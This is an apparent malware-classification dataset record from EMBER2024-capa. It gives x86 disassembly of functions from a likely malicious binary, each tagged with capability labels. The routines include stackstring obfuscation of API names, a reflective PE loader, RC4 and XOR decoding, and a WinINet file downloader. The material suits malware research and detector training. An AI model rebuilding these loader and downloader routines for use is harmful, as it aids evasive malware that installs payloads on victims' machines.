joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005b90
Capabilities:
Contain obfuscated stackstrings
Enumerate pe sections

Disassembly:
sub esp, 0x2c
push ebx
push ebp
push esi
mov esi, dword [esp + 0x44]
xor ecx, ecx
push edi
mov eax, dword [esi]
mov edi, dword [esi + 4]
lea edx, [esp + 0x1c]
mov bl, 0x6c
mov cx, word [eax + 0x14]
push edx
mov dword [esp + 0x18], edi
mov byte [esp + 0x20], 0x6b
lea ebp, [ecx + eax + 0x18]
mov al, 0x65
mov byte [esp + 0x21], al
mov byte [esp + 0x22], 0x72
mov byte [esp + 0x23], 0x6e
mov byte [esp + 0x24], al
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp + 0x2c]
mov dword [esp + 0x18], eax
push ecx
push eax
mov byte [esp + 0x34], 0x56
mov byte [esp + 0x35], 0x69
mov byte [esp + 0x36], 0x72
mov byte [esp + 0x37], 0x74
mov byte [esp + 0x38], 0x75
mov byte [esp + 0x39], 0x61
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], 0x41
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], 0x6f
mov byte [esp + 0x3f], 0x63
mov byte [esp + 0x40], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esi]
mov ebx, eax
mov dword [esp + 0x10], 0
cmp word [edx + 6], 0
jbe 0x10005cf3
add ebp, 0x10
jmp 0x10005c67
mov edi, dword [esp + 0x14]
cmp dword [ebp], 0
jne 0x10005ca1
mov eax, dword [esp + 0x44]
mov esi, dword [eax + 0x38]
test esi, esi
jle 0x10005cd3
mov ecx, dword [ebp - 4]
push 4
push 0x1000
add ecx, edi
push esi
push ecx
call ebx
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebp - 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x10005cd3
mov ecx, dword [ebp - 4]
mov eax, dword [ebp]
push 4
push 0x1000
add ecx, edi
push eax
push ecx
call ebx
mov ecx, dword [ebp]
mov esi, dword [ebp + 4]
mov edi, dword [esp + 0x40]
mov edx, ecx
add esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 8], eax
mov ecx, dword [esp + 0x48]
mov eax, dword [esp + 0x10]
inc eax
add ebp, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x10005c63
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret
Function at 0x10005d10
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x38
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.VirtualProtect
push str.KERNEL32.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov dword [esp + 0x14], eax
lea eax, [esp + 0x28]
mov bl, 0x6c
push eax
mov byte [esp + 0x2c], 0x6b
mov byte [esp + 0x2d], 0x65
mov byte [esp + 0x2e], 0x72
mov byte [esp + 0x2f], 0x6e
mov byte [esp + 0x30], 0x65
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x33
mov byte [esp + 0x33], 0x32
mov byte [esp + 0x34], 0x2e
mov byte [esp + 0x35], 0x64
mov byte [esp + 0x36], bl
mov byte [esp + 0x37], bl
mov byte [esp + 0x38], 0
call edi
lea ecx, [esp + 0x38]
mov edi, eax
push ecx
push edi
mov byte [esp + 0x40], 0x56
mov byte [esp + 0x41], 0x69
mov byte [esp + 0x42], 0x72
mov byte [esp + 0x43], 0x74
mov byte [esp + 0x44], 0x75
mov byte [esp + 0x45], 0x61
mov byte [esp + 0x46], bl
mov byte [esp + 0x47], 0x41
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], bl
mov byte [esp + 0x4a], 0x6f
mov byte [esp + 0x4b], 0x63
mov byte [esp + 0x4c], 0
call esi
lea edx, [esp + 0x1c]
mov byte [esp + 0x1c], 0x56
push edx
push edi
mov byte [esp + 0x25], 0x69
mov byte [esp + 0x26], 0x72
mov byte [esp + 0x27], 0x74
mov byte [esp + 0x28], 0x75
mov byte [esp + 0x29], 0x61
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 0x46
mov byte [esp + 0x2c], 0x72
mov byte [esp + 0x2d], 0x65
mov byte [esp + 0x2e], 0x65
mov byte [esp + 0x2f], 0
call esi
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x4c]
xor edx, edx
xor ebp, ebp
mov ecx, dword [eax]
mov dx, word [ecx + 0x14]
cmp word [ecx + 6], bp
lea eax, [edx + ecx + 0x18]
jbe 0x10005eba
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov edx, eax
mov esi, eax
shr edx, 0x1d
shr esi, 0x1e
mov edi, eax
and edx, 1
and esi, 1
shr edi, 0x1f
test eax, 0x2000000
je 0x10005e5c
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x1c]
jmp 0x10005ea2
lea edx, [esi + edx*2]
test eax, 0x4000000
lea edx, [edi + edx*2]
mov edi, dword [edx*4 + 0x10011164]
je 0x10005e76
or edi, 0x200
mov esi, dword [ebx - 0x14]
mov edx, esi
test edx, edx
jne 0x10005e91
test al, 0x40
je 0x10005e88
mov edx, dword [ecx + 0x20]
jmp 0x10005e8f
test al, 0x80
je 0x10005ea2
mov edx, dword [ecx + 0x24]
test edx, edx
jbe 0x10005ea2
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x18]
push eax
push edi
push esi
push ecx
call dword [esp + 0x24]
mov edx, dword [esp + 0x4c]
xor eax, eax
inc ebp
add ebx, 0x28
mov ecx, dword [edx]
mov ax, word [ecx + 6]
cmp ebp, eax
jl 0x10005e2b
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x38
ret
Function at 0x10006130
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
lea eax, [esp + 0x18]
push edi
mov bl, 0x6c
push eax
mov byte [esp + 0x20], 0x6b
mov byte [esp + 0x21], 0x65
mov byte [esp + 0x22], 0x72
mov byte [esp + 0x23], 0x6e
mov byte [esp + 0x24], 0x65
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp + 0x10]
mov byte [esp + 0x10], 0x56
push ecx
push eax
mov byte [esp + 0x19], 0x69
mov byte [esp + 0x1a], 0x72
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], 0x75
mov byte [esp + 0x1d], 0x61
mov byte [esp + 0x1e], bl
mov byte [esp + 0x1f], 0x46
mov byte [esp + 0x20], 0x72
mov byte [esp + 0x21], 0x65
mov byte [esp + 0x22], 0x65
mov byte [esp + 0x23], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0x30]
xor edi, edi
cmp esi, edi
mov ebp, eax
je 0x1000623f
cmp dword [esi + 0x10], edi
je 0x100061ec
mov edx, dword [esi]
mov eax, dword [esi + 4]
push edi
push edi
mov ecx, dword [edx + 0x28]
push eax
add ecx, eax
call ecx
mov dword [esi + 0x10], edi
cmp dword [esi + 8], edi
je 0x1000621e
cmp dword [esi + 0xc], edi
jle 0x10006212
mov ebx, dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edx, dword [esi + 8]
mov eax, dword [edx + edi*4]
cmp eax, 0xffffffff
je 0x1000620a
push eax
call ebx
mov eax, dword [esi + 0xc]
inc edi
cmp edi, eax
jl 0x100061fc
mov eax, dword [esi + 8]
push eax
call fcn.100078a0
add esp, 4
mov eax, dword [esi + 4]
test eax, eax
je 0x1000622f
push 0x8000
push 0
push eax
call ebp
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
Function at 0x10006a00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1c
push ebx
lea eax, [esp + 0x10]
push esi
mov bl, 0x6c
push eax
mov byte [esp + 0x18], 0x6b
mov byte [esp + 0x19], 0x65
mov byte [esp + 0x1a], 0x72
mov byte [esp + 0x1b], 0x6e
mov byte [esp + 0x1c], 0x65
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x33
mov byte [esp + 0x1f], 0x32
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp + 8]
mov byte [esp + 8], 0x48
push ecx
push eax
mov byte [esp + 0x11], 0x65
mov byte [esp + 0x12], 0x61
mov byte [esp + 0x13], 0x70
mov byte [esp + 0x14], 0x41
mov byte [esp + 0x15], bl
mov byte [esp + 0x16], bl
mov byte [esp + 0x17], 0x6f
mov byte [esp + 0x18], 0x63
mov byte [esp + 0x19], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esp + 0x28]
mov esi, eax
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call esi
pop esi
pop ebx
add esp, 0x1c
ret

Function at 0x10006b00
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov edi, ecx
xor eax, eax
mov byte [eax + edi], al
inc eax
cmp eax, 0x100
jl 0x10006b0d
mov byte [edi + 0x100], bl
mov byte [edi + 0x101], bl
mov byte [esp + 0x10], bl
mov ebp, edi
mov dword [esp + 0x14], 0x100
mov esi, dword [esp + 0x10]
mov eax, dword [esp + 0x20]
and esi, 0xff
mov cl, byte [esi + eax]
mov al, byte [ebp]
add cl, al
add bl, cl
mov ecx, edi
mov byte [esp + 0x18], bl
mov edx, dword [esp + 0x18]
and edx, 0xff
add edx, edi
push edx
push ebp
call fcn.10006b90
lea eax, [esi + 1]
cdq
idiv dword [esp + 0x24]
mov eax, dword [esp + 0x14]
inc ebp
dec eax
mov dword [esp + 0x14], eax
mov byte [esp + 0x10], dl
jne 0x10006b32
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 8

Function at 0x10006bb0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 8
mov edx, dword [esp + 0x10]
push esi
mov esi, ecx
push edi
xor edi, edi
mov cl, byte [esi + 0x100]
mov al, byte [esi + 0x101]
test edx, edx
mov byte [esp + 8], cl
jbe 0x10006c4b
push ebx
push ebp
jmp 0x10006bd9
mov al, byte [esp + 0x14]
inc byte [esp + 0x10]
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + esi]
lea ebp, [ecx + esi]
add al, dl
mov ecx, esi
mov byte [esp + 0x14], al
mov edx, dword [esp + 0x14]
and edx, 0xff
lea ebx, [edx + esi]
push ebx
push ebp
call fcn.10006b90
mov al, byte [ebx]
mov cl, byte [ebp]
add al, cl
and eax, 0xff
mov cl, byte [eax + esi]
mov eax, dword [esp + 0x1c]
mov dl, byte [edi + eax]
xor dl, cl
mov byte [edi + eax], dl
mov eax, dword [esp + 0x20]
inc edi
cmp edi, eax
jb 0x10006bd5
mov dl, byte [esp + 0x10]
mov al, byte [esp + 0x14]
pop ebp
pop ebx
mov byte [esi + 0x100], dl
mov byte [esi + 0x101], al
pop edi
pop esi
add esp, 8
ret 8
mov byte [esi + 0x100], cl
mov byte [esi + 0x101], al
pop edi
pop esi
add esp, 8
ret 8
Function at 0x10006cb0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
mov eax, dword [esi + 0x3c]
mov eax, dword [eax + esi + 0x78]
add eax, esi
mov edi, dword [eax + 0x24]
mov ebx, dword [eax + 0x1c]
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x18]
mov ebp, dword [eax + 0x10]
add edi, esi
mov dword [esp + 0x14], edi
mov edi, dword [esp + 0x20]
add ebx, esi
add ecx, esi
test edi, 0xffff0000
mov dword [esp + 0x10], edx
jne 0x10006d0b
cmp edi, ebp
jb 0x10006d3f
mov ecx, dword [eax + 0x14]
lea edx, [ecx + ebp - 1]
cmp edi, edx
ja 0x10006d3f
sub edi, ebp
mov eax, dword [ebx + edi*4]
pop edi
add eax, esi
pop esi
pop ebp
pop ebx
add esp, 8
ret
xor ebp, ebp
test edx, edx
jle 0x10006d3f
mov dword [esp + 0x1c], ecx
mov ecx, dword [esp + 0x1c]
mov eax, esi
add eax, dword [ecx]
push eax
push edi
call fcn.10006c60
add esp, 8
test eax, eax
je 0x10006d49
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x10]
inc ebp
add ecx, 4
cmp ebp, eax
mov dword [esp + 0x1c], ecx
jl 0x10006d15
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
mov eax, dword [esp + 0x14]
xor edx, edx
pop edi
mov dx, word [eax + ebp*2]
mov eax, dword [ebx + edx*4]
add eax, esi
pop esi
pop ebp
pop ebx
add esp, 8
ret

Function at 0x10006e10
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x10006d90
push eax
push ecx
call fcn.10007ee6
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x401000
Capabilities:
Parse pe header

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
cmp word [eax], 0x5a4d
push edi
je 0x401018
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov edi, dword [eax + 0x3c]
add edi, eax
mov dword [esp + 0x10], edi
cmp dword [edi], 0x4550
je 0x401031
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [edi + 0x50]
mov ecx, dword [edi + 0x34]
mov esi, dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
push 4
push 0x2000
push eax
push ecx
call esi
mov ebp, eax
test ebp, ebp
jne 0x401068
mov edx, dword [edi + 0x50]
push 4
push 0x2000
push edx
push eax
call esi
mov ebp, eax
test ebp, ebp
jne 0x401068
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0x14
push 0
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov ebx, eax
xor eax, eax
push 4
push 0x1000
mov dword [ebx + 4], ebp
mov dword [ebx + 0xc], eax
mov dword [ebx + 8], eax
mov dword [ebx + 0x10], eax
mov eax, dword [edi + 0x50]
push eax
push ebp
call esi
mov ecx, dword [edi + 0x54]
push 4
push 0x1000
push ecx
push ebp
call esi
mov esi, dword [esp + 0x18]
mov edx, dword [edi + 0x54]
mov edi, eax
push ebx
mov ecx, dword [esi + 0x3c]
add ecx, edx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
mov esi, dword [esp + 0x14]
push esi
push ecx
mov edx, dword [ecx + 0x3c]
add eax, edx
mov dword [ebx], eax
mov dword [eax + 0x34], ebp
call fcn.00401150
mov ecx, dword [esi + 0x34]
mov eax, ebp
add esp, 0xc
sub eax, ecx
je 0x4010f1
push eax
push ebx
call fcn.004012e0
add esp, 8
push ebx
call fcn.00401360
add esp, 4
test eax, eax
je 0x401121
push ebx
call fcn.00401220
mov eax, dword [ebx]
add esp, 4
mov eax, dword [eax + 0x28]
test eax, eax
je 0x401139
add eax, ebp
test eax, eax
je 0x401121
push 0
push 1
push ebp
call eax
test eax, eax
jne 0x401132
push ebx
call fcn.00401530
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov dword [ebx + 0x10], 1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
pop ecx
ret
Function at 0x401150
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
push ebp
xor ecx, ecx
mov ebp, dword [eax + 4]
mov eax, dword [eax]
mov dword [esp + 8], 0
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea ebx, [ecx + eax + 0x18]
jbe 0x401211
push esi
push edi
add ebx, 0x10
cmp dword [ebx], 0
jne 0x4011bb
mov edx, dword [esp + 0x1c]
mov esi, dword [edx + 0x38]
test esi, esi
jle 0x4011ef
mov eax, dword [ebx - 4]
push 4
push 0x1000
add eax, ebp
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx - 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x4011ef
mov ecx, dword [ebx - 4]
mov eax, dword [ebx]
push 4
push 0x1000
add ecx, ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov ecx, dword [ebx]
mov esi, dword [ebx + 4]
mov edi, dword [esp + 0x18]
mov edx, ecx
add esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebx - 8], eax
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc eax
add ebx, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x40117e
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x401220
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
xor ecx, ecx
push ebp
mov ebx, dword [eax]
xor ebp, ebp
mov cx, word [ebx + 0x14]
cmp word [ebx + 6], bp
lea eax, [ecx + ebx + 0x18]
jbe 0x4012d4
push esi
push edi
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x401277
mov edx, dword [edi - 0x14]
mov eax, dword [edi - 0x1c]
push 0x4000
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
jmp 0x4012ba
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov edx, dword [edx*4 + 0x404010]
je 0x40128e
or dh, 2
mov ecx, dword [edi - 0x14]
test ecx, ecx
jne 0x4012a7
test al, 0x40
je 0x40129e
mov ecx, dword [ebx + 0x20]
jmp 0x4012a5
test al, 0x80
je 0x4012ba
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x4012ba
lea eax, [esp + 0x10]
push eax
push edx
push ecx
mov ecx, dword [edi - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
mov edx, dword [esp + 0x18]
xor eax, eax
inc ebp
add edi, 0x28
mov ebx, dword [edx]
mov ax, word [ebx + 6]
cmp ebp, eax
jl 0x401244
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x401810
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
sub esp, 0x44
mov dl, byte [esp + 0x48]
mov cl, 0x41
mov byte [esp], cl
mov byte [esp + 1], 0x42
mov byte [esp + 2], 0x43
mov byte [esp + 3], 0x44
mov byte [esp + 4], 0x45
mov byte [esp + 5], 0x46
mov byte [esp + 6], 0x47
mov byte [esp + 7], 0x48
mov byte [esp + 8], 0x49
mov byte [esp + 9], 0x4a
mov byte [esp + 0xa], 0x4b
mov byte [esp + 0xb], 0x4c
mov byte [esp + 0xc], 0x4d
mov byte [esp + 0xd], 0x4e
mov byte [esp + 0xe], 0x4f
mov byte [esp + 0xf], 0x50
mov byte [esp + 0x10], 0x51
mov byte [esp + 0x11], 0x52
mov byte [esp + 0x12], 0x53
mov byte [esp + 0x13], 0x54
mov byte [esp + 0x14], 0x55
mov byte [esp + 0x15], 0x56
mov byte [esp + 0x16], 0x57
mov byte [esp + 0x17], 0x58
mov byte [esp + 0x18], 0x59
mov byte [esp + 0x19], 0x5a
mov byte [esp + 0x1a], 0x61
mov byte [esp + 0x1b], 0x62
mov byte [esp + 0x1c], 0x63
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x1e], 0x65
mov byte [esp + 0x1f], 0x66
mov byte [esp + 0x20], 0x67
mov byte [esp + 0x21], 0x68
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], 0x6a
mov byte [esp + 0x24], 0x6b
mov byte [esp + 0x25], 0x6c
mov byte [esp + 0x26], 0x6d
mov byte [esp + 0x27], 0x6e
mov byte [esp + 0x28], 0x6f
mov byte [esp + 0x29], 0x70
mov byte [esp + 0x2a], 0x71
mov byte [esp + 0x2b], 0x72
mov byte [esp + 0x2c], 0x73
mov byte [esp + 0x2d], 0x74
mov byte [esp + 0x2e], 0x75
mov byte [esp + 0x2f], 0x76
mov byte [esp + 0x30], 0x77
mov byte [esp + 0x31], 0x78
mov byte [esp + 0x32], 0x79
mov byte [esp + 0x33], 0x7a
mov byte [esp + 0x34], 0x30
mov byte [esp + 0x35], 0x31
mov byte [esp + 0x36], 0x32
mov byte [esp + 0x37], 0x33
mov byte [esp + 0x38], 0x34
mov byte [esp + 0x39], 0x35
mov byte [esp + 0x3a], 0x36
mov byte [esp + 0x3b], 0x37
mov byte [esp + 0x3c], 0x38
mov byte [esp + 0x3d], 0x39
mov byte [esp + 0x3e], 0x2b
mov byte [esp + 0x3f], 0x2f
mov byte [esp + 0x40], 0
lea eax, [esp]
cmp cl, dl
je 0x401974
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401961
or eax, 0xffffffff
add esp, 0x44
ret
lea ecx, [esp]
sub eax, ecx
add esp, 0x44
ret
Function at 0x401980
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub esp, 0x110
mov ecx, dword [esp + 0x114]
push esi
lea eax, [esp + 4]
push edi
push eax
push ecx
mov dword [esp + 0x10], 0
call fcn.004016f0
mov esi, eax
add esp, 8
xor eax, eax
test esi, esi
jle 0x4019cc
mov ecx, dword [esp + 8]
mov dl, byte [eax + ecx]
add dl, 0x7a
mov byte [eax + ecx], dl
mov ecx, dword [esp + 8]
mov dl, byte [eax + ecx]
xor dl, 0x59
mov byte [eax + ecx], dl
inc eax
cmp eax, esi
jl 0x4019ad
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0xc], 0x47
mov byte [esp + 0xd], 0x65
mov byte [esp + 0xe], 0x74
mov byte [esp + 0xf], 0x6f
mov byte [esp + 0x10], 0x6e
mov byte [esp + 0x11], 0x67
mov byte [esp + 0x12], 0x35
mov byte [esp + 0x13], 0x33
mov byte [esp + 0x14], 0x38
mov byte [esp + 0x15], 0
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x18]
push ecx
push edx
push eax
call fcn.004015c0
mov ecx, dword [esp + 0x14]
push esi
lea edx, [esp + 0x28]
push ecx
push edx
call fcn.00401660
mov eax, dword [esp + 0x20]
add esp, 0x18
pop edi
pop esi
add esp, 0x110
ret
Function at 0x401a40
Capabilities:
Contain obfuscated stackstrings
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
sub esp, 0x428
push ebx
push esi
xor ebx, ebx
push edi
mov al, 0x6c
push ebx
mov byte [esp + 0x14], al
mov byte [esp + 0x15], al
mov byte [esp + 0x25], al
push ebx
push ebx
lea eax, [esp + 0x18]
mov dl, 0x69
mov cl, 0x61
push ebx
push eax
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x44], ebx
mov byte [esp + 0x20], 0x4d
mov byte [esp + 0x21], 0x6f
mov byte [esp + 0x22], 0x7a
mov byte [esp + 0x23], dl
mov byte [esp + 0x26], cl
mov byte [esp + 0x27], 0x2f
mov byte [esp + 0x28], 0x34
mov byte [esp + 0x29], 0x2e
mov byte [esp + 0x2a], 0x30
mov byte [esp + 0x2b], 0x20
mov byte [esp + 0x2c], 0x28
mov byte [esp + 0x2d], 0x63
mov byte [esp + 0x2e], 0x6f
mov byte [esp + 0x2f], 0x6d
mov byte [esp + 0x30], 0x70
mov byte [esp + 0x31], cl
mov byte [esp + 0x32], 0x74
mov byte [esp + 0x33], dl
mov byte [esp + 0x34], 0x62
mov byte [esp + 0x36], 0x65
mov byte [esp + 0x37], 0x29
mov byte [esp + 0x38], bl
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
cmp edi, ebx
mov dword [esp + 0x2c], edi
jne 0x401af3
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x428
ret
mov ecx, dword [esp + 0x438]
push ebx
push 0x80000000
push ebx
push ebx
push ecx
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, ebx
jne 0x401b1c
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x428
ret
mov edx, dword [esp + 0x43c]
push ebp
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x401b92
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x38]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x38]
push eax
push 0x400
push ecx
push esi
call ebx
mov eax, dword [esp + 0x2c]
lea edx, [esp + 0x34]
push 0
push edx
lea ecx, [esp + 0x40]
push eax
push ecx
push ebp
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov eax, dword [esp + 0x2c]
test eax, eax
ja 0x401b43
push ebp
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edi, dword [esp + 0x30]
mov ebx, 1
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
pop ebp
pop edi
mov eax, ebx
pop esi
pop ebx
add esp, 0x428
ret
Function at 0x401c20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1c
mov cl, 0x72
mov al, 0x5c
mov byte [esp + 4], cl
mov byte [esp + 7], cl
mov cl, 0x70
push ebx
push edi
mov byte [esp + 0xa], al
mov byte [esp + 0x18], al
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], cl
mov byte [esp + 0x21], al
mov ecx, 0x41
xor eax, eax
mov edi, 0x4044c0
mov bl, 0x50
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov byte [esp + 0xb], bl
mov byte [esp + 0x1c], bl
mov dl, 0x61
xor bl, bl
push eax
push 0x4044c0
mov byte [esp + 0x10], 0x43
mov byte [esp + 0x11], 0x3a
mov byte [esp + 0x15], 0x6f
mov byte [esp + 0x16], 0x67
mov byte [esp + 0x18], dl
mov byte [esp + 0x19], 0x6d
mov byte [esp + 0x1a], 0x20
mov byte [esp + 0x1b], 0x46
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], 0x6c
mov byte [esp + 0x1e], 0x65
mov byte [esp + 0x1f], 0x73
mov byte [esp + 0x21], 0x41
mov byte [esp + 0x25], dl
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x27], 0x63
mov byte [esp + 0x28], 0x68
mov byte [esp + 0x2a], bl
call fcn.004020d0
mov ecx, dword [esp + 0x30]
push ecx
push 0x4044c0
call fcn.004020d0
add esp, 0x10
mov dl, bl
add dl, 0x43
push edx
call fcn.00401bb0
add esp, 4
test eax, eax
jne 0x401cfa
inc bl
cmp bl, 4
jl 0x401cdb
pop edi
pop ebx
add esp, 0x1c
ret
pop edi
mov eax, 1
pop ebx
add esp, 0x1c
ret